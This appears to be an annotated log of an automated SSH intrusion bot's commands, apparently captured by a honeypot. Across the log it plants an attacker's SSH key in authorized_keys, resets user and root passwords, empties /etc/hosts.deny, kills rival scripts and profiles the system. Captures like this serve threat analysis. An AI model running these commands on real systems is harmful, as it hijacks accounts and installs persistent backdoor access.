$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "df\nmndSUPgnAnLj\nmndSUPgnAnLj"|passwd|bash

$ Enter new UNIX password:

$ echo "df\nmndSUPgnAnLj\nmndSUPgnAnLj\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:2EGxANqpJw3X"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "123456\nH5bSFevzpWhl\nH5bSFevzpWhl"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "123456\nH5bSFevzpWhl\nH5bSFevzpWhl\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "qwerty\nafiUmemTbR9J\nafiUmemTbR9J"|passwd|bash

$ echo "qwerty\nafiUmemTbR9J\nafiUmemTbR9J\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "komodo\nqwloEozmtrqh\nqwloEozmtrqh"|passwd|bash

$ Enter new UNIX password:

$ echo "komodo\nqwloEozmtrqh\nqwloEozmtrqh\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nwEfyzoq97D7S\nwEfyzoq97D7S"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nwEfyzoq97D7S\nwEfyzoq97D7S\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nPkD2pBJ1Joo3\nPkD2pBJ1Joo3"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nPkD2pBJ1Joo3\nPkD2pBJ1Joo3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "123456\nGIxpQ0x0SaMi\nGIxpQ0x0SaMi"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nGIxpQ0x0SaMi\nGIxpQ0x0SaMi\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:lwYqvWRMdgv5"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "trash\ntjoi0nNi4ttL\ntjoi0nNi4ttL"|passwd|bash

$ Enter new UNIX password:

$ echo "trash\ntjoi0nNi4ttL\ntjoi0nNi4ttL\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:0R64GfYivthA"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nKmjLPVYEemCu\nKmjLPVYEemCu"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nKmjLPVYEemCu\nKmjLPVYEemCu\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "trash\nGSvJZlwgyqoV\nGSvJZlwgyqoV"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "trash\nGSvJZlwgyqoV\nGSvJZlwgyqoV\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "bareos\no8g72MnZBCQ5\no8g72MnZBCQ5"|passwd|bash

$ echo "bareos\no8g72MnZBCQ5\no8g72MnZBCQ5\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:nxWoYmmLEV4q"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:W2KpTwr0T8MG"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "trash\nJsu0zUqAixoM\nJsu0zUqAixoM"|passwd|bash

$ Enter new UNIX password:

$ echo "trash\nJsu0zUqAixoM\nJsu0zUqAixoM\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "admin\ntnI2fN2hOSvC\ntnI2fN2hOSvC"|passwd|bash

$ Enter new UNIX password:

$ echo "admin\ntnI2fN2hOSvC\ntnI2fN2hOSvC\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:zQP63t1eOpNH"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "q1w2e3r4\nvA62BIbUcEJt\nvA62BIbUcEJt"|passwd|bash

$ Enter new UNIX password:

$ echo "q1w2e3r4\nvA62BIbUcEJt\nvA62BIbUcEJt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

